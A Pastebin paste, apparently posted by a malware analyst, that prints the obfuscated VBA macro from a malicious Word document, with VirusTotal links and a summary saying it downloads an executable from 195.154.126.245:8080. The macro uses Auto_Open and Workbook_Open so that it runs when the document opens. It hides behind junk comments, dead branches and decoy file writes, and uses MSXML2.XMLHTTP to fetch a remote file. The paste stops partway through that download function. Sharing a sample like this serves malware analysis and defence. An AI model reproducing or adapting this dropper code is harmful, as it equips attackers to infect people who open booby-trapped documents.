API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Oct 31st, 2014
380
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 55.09 KB | None | 0 0
raw download clone embed print report
  1. hey from techhelplist:
  2.  
  3. macro from this malicious .doc:
  4. https://www.virustotal.com/en/file/8c3a18f605d1a4c4947fba09b3c3890cf5dd264a730ef4690b6bae18a0d1c767/analysis/
  5.  
  6. tl;dr
  7. downloads 195.154.126.245:8080/doc/7.exe and names it EYWHEPVBPXN.exe
  8. this exe: https://www.virustotal.com/en/file/083aa942388416bb9688b1a0520ab15c910448c75b75d90a7b6f404f2e105a38/analysis/
  9. ------------------------------------------------------------------------
  10.  
  11. Rem Attribute VBA_ModuleType=VBADocumentModule
  12. Option VBASupport 1
  13. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  14. Sub Auto_Open()
  15. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  16. If 956369 = 956369 + 1 Then End
  17. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  18. If 7157 < 36 Then
  19. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  20.  
  21. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  22. GoTo aHcJcfVV
  23. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  24. Dim LugZgmfA As String
  25. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  26. Open "BFQSAI.BQS" For Binary As 81
  27. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  28. Put #81, , LugZgmfA
  29. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  30. Close #81
  31. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  32. aHcJcfVV:
  33. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  34.  
  35. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  36. MsgBox ("jZXorjJN77")
  37. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  38. End If
  39. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  40. If Len("aZlUHYXH1321") = Len("ZyXWBtmx") Then
  41. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  42.  
  43. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  44. GoTo fjuiAaHy
  45. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  46. Dim KdFZFwUC As String
  47. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  48. Open "BJVSFI.IOX" For Binary As 82
  49. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  50. Put #82, , KdFZFwUC
  51. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  52. Close #82
  53. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  54. fjuiAaHy:
  55. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  56.  
  57. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  58. MsgBox ("Error !!!")
  59. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  60. End If
  61. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  62.  
  63. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  64. GoTo XhqGJjfU
  65. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  66. Dim AsLqrStb As String
  67. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  68. Open "HHNEXH.NOB" For Binary As 52
  69. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  70. Put #52, , AsLqrStb
  71. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  72. Close #52
  73. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  74. XhqGJjfU:
  75. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  76.  
  77. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  78. CWPUZSQFOBF
  79. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  80.  
  81. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  82. End Sub
  83. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  84. Sub AutoOpen()
  85. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  86. If 987135 = 987135 + 1 Then End
  87. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  88. If 1513 < 33 Then
  89. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  90.  
  91. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  92. GoTo svvSJGlY
  93. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  94. Dim Jmuirqsv As String
  95. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  96. Open "TTSOQX.GCP" For Binary As 17
  97. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  98. Put #17, , Jmuirqsv
  99. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  100. Close #17
  101. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  102. svvSJGlY:
  103. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  104.  
  105. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  106. MsgBox ("QQMdfWeM43")
  107. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  108. End If
  109. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  110. If Len("laVqxfBs4776") = Len("dmxHjldb") Then
  111. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  112.  
  113. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  114. GoTo TdnEbmJE
  115. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  116. Dim vEkgjAuu As String
  117. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  118. Open "GBDTZQ.ISO" For Binary As 45
  119. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  120. Put #45, , vEkgjAuu
  121. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  122. Close #45
  123. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  124. TdnEbmJE:
  125. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  126.  
  127. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  128. MsgBox ("Error !!!")
  129. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  130. End If
  131. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  132.  
  133. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  134. GoTo wlmaFRua
  135. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  136. Dim gPsSTSwR As String
  137. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  138. Open "PEPJOH.PNP" For Binary As 36
  139. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  140. Put #36, , gPsSTSwR
  141. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  142. Close #36
  143. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  144. wlmaFRua:
  145. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  146.  
  147. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  148. Auto_Open
  149. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  150.  
  151. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  152. End Sub
  153. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  154. Sub Workbook_Open()
  155. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  156. If 245678 = 245678 + 1 Then End
  157. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  158. If 5256 < 17 Then
  159. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  160.  
  161. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  162. GoTo RlMtzcZO
  163. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  164. Dim phZbgLmn As String
  165. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  166. Open "UKKPAM.UHK" For Binary As 22
  167. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  168. Put #22, , phZbgLmn
  169. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  170. Close #22
  171. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  172. RlMtzcZO:
  173. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  174.  
  175. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  176. MsgBox ("ncKcayEm31")
  177. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  178. End If
  179. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  180. If Len("JIlRzGME6996") = Len("lsXKqflp") Then
  181. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  182.  
  183. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  184. GoTo UanUqcBy
  185. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  186. Dim dCizvLHV As String
  187. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  188. Open "OOIVYM.BSP" For Binary As 28
  189. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  190. Put #28, , dCizvLHV
  191. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  192. Close #28
  193. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  194. UanUqcBy:
  195. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  196.  
  197. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  198. MsgBox ("Error !!!")
  199. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  200. End If
  201. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  202.  
  203. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  204. GoTo KHXXIsjt
  205. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  206. Dim xSRjWYoC As String
  207. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  208. Open "WFCFYU.RYX" For Binary As 61
  209. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  210. Put #61, , xSRjWYoC
  211. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  212. Close #61
  213. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  214. KHXXIsjt:
  215. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  216.  
  217. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  218. Auto_Open
  219. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  220.  
  221. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  222. End Sub
  223. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  224. Function QSIOUKYDZYH(ByVal WGJHKVOHAHI As String, ByVal SDIMZSIUEHO As String) As Boolean
  225. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  226. Dim NGWMKXGHKCH As Object, TGMFVDJIALI As Long, IZFFIKFVETZ As Long, ITCKXLQBSWF() As Byte
  227. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  228.  
  229. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  230. If 747891 = 747891 + 1 Then End
  231. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  232. If 4327 < 46 Then
  233. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  234.  
  235. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  236. GoTo oWElsQml
  237. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  238. Dim DHqFvysq As String
  239. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  240. Open "XYOKYN.YVI" For Binary As 77
  241. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  242. Put #77, , DHqFvysq
  243. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  244. Close #77
  245. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  246. oWElsQml:
  247. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  248.  
  249. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  250. MsgBox ("QOylUIpf28")
  251. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  252. End If
  253. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  254. If Len("SFtOAIMd7581") = Len("YiEgmFun") Then
  255. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  256.  
  257. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  258. GoTo CsEjxXuV
  259. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  260. Dim ZisQPjBG As String
  261. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  262. Open "JFPHQY.HSP" For Binary As 51
  263. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  264. Put #51, , ZisQPjBG
  265. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  266. Close #51
  267. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  268. CsEjxXuV:
  269. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  270.  
  271. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  272. MsgBox ("Error !!!")
  273. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  274. End If
  275. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  276.  
  277. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  278. GoTo thDUBJXo
  279. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  280. Dim PqmzssDN As String
  281. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  282. Open "WHFBBE.MFG" For Binary As 62
  283. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  284. Put #62, , PqmzssDN
  285. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  286. Close #62
  287. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  288. thDUBJXo:
  289. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  290.  
  291. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  292. Set NGWMKXGHKCH = CreateObject("MSXML2.XMLHTTP")
  293. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  294.  
  295. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  296. NGWMKXGHKCH.Open "GET", WGJHKVOHAHI, False
  297. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  298. If 766164 = 766164 + 1 Then End
  299. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  300. If 2362 < 78 Then
  301. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  302.  
  303. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  304. GoTo tkYoaLdL
  305. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  306. Dim OdfEgftP As String
  307. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  308. Open "AZGMHC.QMD" For Binary As 96
  309. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  310. Put #96, , OdfEgftP
  311. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  312. Close #96
  313. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  314. tkYoaLdL:
  315. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  316.  
  317. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  318. MsgBox ("iIVVWsVa83")
  319. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  320. End If
